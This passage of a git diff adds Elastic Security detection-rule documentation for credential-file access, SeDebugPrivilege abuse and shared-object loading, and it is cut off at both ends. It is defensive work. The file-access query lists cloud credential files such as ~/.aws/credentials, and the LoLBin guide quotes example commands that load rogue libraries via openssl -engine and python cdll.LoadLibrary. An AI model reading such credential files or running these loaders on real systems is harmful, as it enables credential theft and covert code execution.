"?:\\Users\\*\\Temp\\Temp?_*", "?:\\Users\\*\\Temp\\BNZ.*")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-security-file-access-via-common-utilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-security-file-access-via-common-utilities.asciidoc new file mode 100644 index 0000000000..6fdcbc6374 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-security-file-access-via-common-utilities.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-36-security-file-access-via-common-utilities]] +=== Security File Access via Common Utilities + +This rule detects sensitive security file access via common utilities on Linux systems. Adversaries may attempt to read from sensitive files using common utilities to gather information about the system and its security configuration. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Security File Access via Common Utilities* + + +In Linux environments, common utilities like `cat`, `grep`, and `less` are essential for file manipulation and viewing. Adversaries exploit these tools to access sensitive security files, aiming to gather system and security configuration data. The detection rule identifies suspicious use of these utilities by monitoring process execution patterns and arguments, flagging attempts to access critical security files, thus helping to thwart potential reconnaissance activities. + + +*Possible investigation steps* + + +- Review the process execution details to identify the specific utility used (e.g., cat, grep, less) and the exact file path accessed, as indicated by the process.name and process.args fields. +- Check the user account associated with the process execution to determine if the access was performed by a legitimate user or a potentially compromised account. +- Investigate the timing and frequency of the access attempt to assess whether it aligns with normal user behavior or indicates suspicious activity. +- Correlate the alert with other security events or logs from the same host to identify any preceding or subsequent suspicious activities, such as unauthorized logins or privilege escalation attempts. +- Examine the host's recent changes or updates to security configurations or user permissions that might explain the access attempt. +- If possible, contact the user or system owner to verify whether the access was intentional and authorized, providing additional context for the investigation. + + +*False positive analysis* + + +- System administrators or automated scripts may frequently access security files for legitimate maintenance or configuration purposes. To handle this, create exceptions for known administrative accounts or specific scripts that regularly perform these actions. +- Security monitoring tools or compliance checks might trigger the rule when scanning security files. Identify these tools and exclude their processes from the rule to prevent unnecessary alerts. +- Backup processes that involve copying or reading security files can be mistaken for suspicious activity. Exclude backup software processes or scheduled tasks that are known to perform these operations. +- Developers or DevOps personnel accessing configuration files for application deployment or troubleshooting might trigger the rule. Establish a list of trusted users or roles and exclude their access patterns from detection. +- Regular system updates or package management operations may involve accessing security-related files. Recognize these update processes and exclude them to avoid false positives during routine maintenance. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule to halt potential reconnaissance activities. +- Conduct a thorough review of the accessed files to determine if any sensitive information was exposed or altered. +- Change credentials and access tokens for any compromised accounts, especially those related to AWS, GCP, or Azure, to prevent unauthorized access. +- Implement stricter access controls and permissions on sensitive security files to limit exposure to only necessary users and processes. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on the broader network. +- Enhance monitoring and logging for similar activities to improve detection and response times for future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("cat", "less", "more", "strings", "find", "xargs") and +process.parent.name != null and +process.args like ( + "/etc/security/*", "/etc/pam.d/*", "/etc/login.defs", "/lib/security/*", "/lib64/security/*", + "/usr/lib/security/*", "/usr/lib64/security/*", "/usr/lib/x86_64-linux-gnu/security/*", + "/home/*/.aws/credentials", "/home/*/.aws/config", "/home/*/.config/gcloud/*credentials.json", + "/home/*/.config/gcloud/configurations/config_default", "/home/*/.azure/accessTokens.json", + "/home/*/.azure/azureProfile.json" +) and not ( + process.parent.name in ("wazuh-modulesd", "lynis") or + process.command_line in ("cat /etc/login.defs" , "cat /home/asterisk/.aws/credentials") or + ?process.parent.command_line in ( + "/bin/sh /usr/sbin/lynis audit system --cronjob", + "/usr/bin/find -L /etc/security/limits.conf /etc/security/limits.d -type f -exec /usr/bin/cat {} ;", + "/usr/bin/find /etc/security/limits.conf /etc/security/limits.d -type f -exec /usr/bin/cat {} ;" + ) or + ?process.parent.args in ("/opt/imperva/ragent/bin/get_sys_resources.sh", "/usr/sbin/lynis", "./terra_linux.sh") or + process.args == "/usr/bin/coreutils" or + (process.parent.name == "pwsh" and ?process.parent.command_line like "*Evaluate-STIG*") or + ?process.parent.executable like ( + "/usr/sap/audit_scripts/auto_audit_gral.sh", "/opt/saltstack/salt/bin/python3*", "/opt/puppetlabs/puppet/bin/ruby" + ) or + ?process.entry_leader.executable like ( + "/usr/sbin/ScanAssistant", "/opt/Tanium/TaniumClient/TaniumClient", "/tmp/CVU_*resource/exectask", "/opt/nessus/sbin/nessus-service" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-sedebugprivilege-enabled-by-a-suspicious-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-sedebugprivilege-enabled-by-a-suspicious-process.asciidoc new file mode 100644 index 0000000000..4da95e160f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-sedebugprivilege-enabled-by-a-suspicious-process.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-36-sedebugprivilege-enabled-by-a-suspicious-process]] +=== SeDebugPrivilege Enabled by a Suspicious Process + +Identifies a process running with a non-SYSTEM account that enables the SeDebugPrivilege privilege. Adversaries may enable this privilege to debug and modify other processes, typically reserved for system-level tasks, to escalate privileges and bypass access controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4703 +* https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SeDebugPrivilege Enabled by a Suspicious Process* + + +SeDebugPrivilege is a powerful Windows privilege allowing processes to debug and modify other processes, typically reserved for system-level tasks. Adversaries exploit this to escalate privileges, bypassing security controls by impersonating system processes. The detection rule identifies suspicious processes enabling SeDebugPrivilege, excluding known legitimate processes, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the event logs for the specific event.provider "Microsoft-Windows-Security-Auditing" and event.action "Token Right Adjusted Events" to gather more details about the process that enabled SeDebugPrivilege. +- Identify the process name from winlog.event_data.ProcessName and determine if it is known or expected in the environment. Investigate any unknown or suspicious processes. +- Check the winlog.event_data.SubjectUserSid to identify the user account associated with the process. Investigate if this account has a history of suspicious activity or if it should have the ability to enable SeDebugPrivilege. +- Analyze the parent process of the suspicious process to understand how it was initiated and if it was spawned by a legitimate or malicious process. +- Correlate the timestamp of the event with other security events or alerts to identify any related activities or patterns that could indicate a broader attack or compromise. +- Investigate the network activity of the suspicious process to determine if it is communicating with any known malicious IP addresses or domains. + + +*False positive analysis* + + +- Legitimate system maintenance tasks may trigger the rule, such as Windows Update or system diagnostics. Users can monitor the timing of these tasks and correlate them with alerts to determine if they are the cause. +- Software installations or updates using msiexec.exe might be flagged. Consider excluding msiexec.exe from the rule if it is frequently used in your environment for legitimate purposes. +- Administrative tools like taskhostw.exe and mmc.exe can sometimes enable SeDebugPrivilege during normal operations. Evaluate the necessity of these tools in your environment and exclude them if they are regularly used by trusted administrators. +- Temporary files created by legitimate applications, such as DismHost.exe in user temp directories, may be flagged. Review the context of these files and exclude them if they are part of routine application behavior. +- Regularly review and update the exclusion list to include any new legitimate processes that are identified as false positives, ensuring the rule remains effective without generating unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate the suspicious process identified in the alert to stop any ongoing malicious activity and prevent privilege escalation. +- Conduct a thorough review of the affected system's event logs, focusing on the "Token Right Adjusted Events" to identify any additional unauthorized privilege changes or suspicious activities. +- Reset credentials for any accounts that may have been compromised or used by the suspicious process, especially those with elevated privileges. +- Restore the affected system from a known good backup to ensure any malicious changes are removed and the system is returned to a secure state. +- Implement additional monitoring on the affected system and similar systems to detect any recurrence of the threat, focusing on processes attempting to enable SeDebugPrivilege. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +Audit Token Right Adjusted Events must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-token-right-adjusted-events + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.provider: "Microsoft-Windows-Security-Auditing" and + event.action : "Token Right Adjusted Events" and + + winlog.event_data.EnabledPrivilegeList : "SeDebugPrivilege" and + + /* exclude processes with System Integrity */ + not winlog.event_data.SubjectUserSid : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + + not winlog.event_data.ProcessName : ( + "?:\\Program Files (x86)\\*", + "?:\\Program Files\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\*-*\\DismHost.exe", + "?:\\Windows\\System32\\auditpol.exe", + "?:\\Windows\\System32\\cleanmgr.exe", + "?:\\Windows\\System32\\dllhost.exe", + "?:\\Windows\\System32\\inetsrv\\w3wp.exe", + "?:\\Windows\\System32\\lsass.exe", + "?:\\Windows\\System32\\mmc.exe", + "?:\\Windows\\System32\\MRT.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\netsh.exe", + "?:\\Windows\\System32\\netstat.exe", + "?:\\Windows\\System32\\RuntimeBroker.exe", + "?:\\Windows\\System32\\sdiagnhost.exe", + "?:\\Windows\\System32\\ServerManager.exe", + "?:\\Windows\\System32\\taskhostw.exe", + "?:\\Windows\\System32\\taskkill.exe", + "?:\\Windows\\System32\\tasklist.exe", + "?:\\Windows\\System32\\wbem\\WmiPrvSe.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\inetsrv\\w3wp.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Windows\\SysWOW64\\netsh.exe", + "?:\\Windows\\SysWOW64\\netstat.exe", + "?:\\Windows\\SysWOW64\\taskkill.exe", + "?:\\Windows\\SysWOW64\\tasklist.exe", + "?:\\Windows\\SysWOW64\\wbem\\WmiPrvSe.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe", + "?:\\Windows\\WinSxS\\*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-shared-object-created-by-previously-unknown-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-shared-object-created-by-previously-unknown-process.asciidoc new file mode 100644 index 0000000000..a84aa57dec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-shared-object-created-by-previously-unknown-process.asciidoc @@ -0,0 +1,233 @@ +[[prebuilt-rule-8-19-36-shared-object-created-by-previously-unknown-process]] +=== Shared Object Created by Previously Unknown Process + +This rule monitors the creation of shared object files by previously unknown processes. The creation of a shared object file involves compiling code into a dynamically linked library that can be loaded by other programs at runtime. While this process is typically used for legitimate purposes, malicious actors can leverage shared object files to execute unauthorized code, inject malicious functionality into legitimate processes, or bypass security controls. This allows malware to persist on the system, evade detection, and potentially compromise the integrity and confidentiality of the affected system and its data. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://threatpost.com/sneaky-malware-backdoors-linux/180158/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux +* Resources: Osquery + +*Version*: 18 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Shared Object Created by Previously Unknown Process* + + +A shared object file is a compiled library file (typically with a .so extension) that can be dynamically linked to executable programs at runtime, allowing for code reuse and efficient memory usage. The creation of a shared object file involves compiling code into a dynamically linked library that can be loaded by other programs at runtime. + +Malicious actors can leverage shared object files to execute unauthorized code, inject malicious functionality into legitimate processes, or bypass security controls. This allows malware to persist on the system, evade detection, and potentially compromise the integrity and confidentiality of the affected system and its data. + +This rule monitors the creation of shared object files by previously unknown processes through the usage of the new terms rule type. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the shared object that was created or modified through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path = {{file.path}}\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path = {{file.path}}\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:"linux" and event.action:("creation" or "file_create_event") and +(file.extension:"so" or file.name:*.so.*) and +file.path:( + /dev/shm/* or /usr/lib/* or /usr/lib64/* or /usr/local/lib/* or /usr/local/lib64/* or /lib/x86_64-linux-gnu/* or + /usr/lib/x86_64-linux-gnu/* or /lib/i386-linux-gnu/* or /usr/lib/i386-linux-gnu/* or /lib/* or /lib64/* +) and not ( + process.name:( + "dockerd" or "dpkg" or "rpm" or "snapd" or "yum" or "vmis-launcher" or "pacman" or "apt-get" or "dnf" or "podman" or + platform-python* or "dnf-automatic" or "unattended-upgrade" or "apk" or "snap-update-ns" or "install" or "exe" or + "systemd" or "root" or "sshd" or "pip" or "jlink" or python* or "update-alternatives" or pip* or "crio" or "packagekitd" + ) or + (process.name:"vmware-install.pl" and file.path:/usr/lib/vmware-tools/*) or + (process.name:"ssm-agent-worker" and file.path:/usr/lib/jvm/java*) or + process.executable : ( + /dev/fd/* or "/" or "/kaniko/executor" or "/usr/bin/buildah" or "/usr/bin/microdnf" or "/usr/sbin/yum-cron" or + "/usr/lib/check_mk_agent/plugins/3600/cmk-update-agent" or "/usr/bin/pamac-daemon" or "/usr/bin/dnf5" or + "3600/cmk-update-agent" or "/usr/lib/dracut/dracut-install" or "/usr/bin/dockerd" or "/usr/sbin/crond" or + "./usr/bin/qemu-aarch64-static" or "/usr/bin/nvidia-installer" or "./nvidia-installer" or "/usr/bin/cmake" or + /var/lib/docker/overlay2/* or "/usr/sbin/gdm" or "/opt/ITSPlatform/plugin/scap/fortify-scap-plugin" or + /tmp/makeself* or /tmp/selfgz* or "./usr/bin/qemu-aarch64" or "/usr/local/bin/cmake" or + "/usr/lib/snapd/snap-update-ns" or "/sbin/yum-cron" or "/usr/local/psa/bin/dnf_install" + ) or + file.name:libnvidia* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-shared-object-load-via-lolbin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-shared-object-load-via-lolbin.asciidoc new file mode 100644 index 0000000000..fb4166ea69 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-shared-object-load-via-lolbin.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-36-shared-object-load-via-lolbin]] +=== Shared Object Load via LoLBin + +This rule detects when a process not commonly used to load shared objects, is executed with arguments that load a shared object file. This technique can load a malicious shared object into memory while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/#+library%20load + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shared Object Load via LoLBin* + + +This alert flags a Linux program that normally is not used as a loader but is started with options that pull a shared object into memory, a common way to hide malicious code behind trusted tools. An attacker can launch `openssl -engine /tmp/libcrypto.so` or a short `python -c` snippet that calls `cdll.LoadLibrary("/tmp/libx.so")` to execute a rogue library while blending in with legitimate system activity. + + +*Possible investigation steps* + + +- Review the full command line, ancestor process chain, session context, and executing user to determine whether the shared object load aligns with a legitimate admin task, build workflow, or expected plugin behavior. +- Identify the referenced `.so` file on disk and validate its package ownership, hash reputation, permissions, timestamps, and location, giving extra scrutiny to libraries in temporary, user-writable, hidden, or recently created paths. +- Pivot on the same library path or hash across hosts and users to determine whether it is isolated to one system, newly introduced, or part of a broader sequence involving script execution, file drops, or repeated LoLBin abuse. +- Examine activity immediately before and after the load for suspicious follow-on behavior such as outbound network connections, credential access attempts, unexpected child processes, privilege escalation, or persistence-related file changes. +- If the library is not attributable to approved software, collect the binary and related artifacts for static or sandbox analysis and consider host containment or blocking the file hash and path if corroborating malicious evidence is present. + + +*False positive analysis* + + +- Developers or build jobs may use `python -c`, `ruby -e`, or `openssl -engine` to validate a locally built `.so` during compilation or testing; confirm the parent process and working directory map to an expected build path or `make`-driven workflow and that the library resides in a project or package-managed location. +- Administrators may intentionally load a legitimate shell builtin or application plugin through `bash -c`, `gdb`, or `vim` while troubleshooting or enabling features; verify the session is interactive and attributable to the user, then check that the referenced `.so` is package-owned or stored in a standard system library or plugin directory rather than a writable temporary path. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network, terminate the abusing LoLBin and any spawned processes, and quarantine the referenced `.so` and any copies found in writable locations such as `/tmp`, `/dev/shm`, user home directories, or hidden folders. +- Remove attacker persistence by deleting unauthorized entries from `/etc/ld.so.preload`, shell startup files, 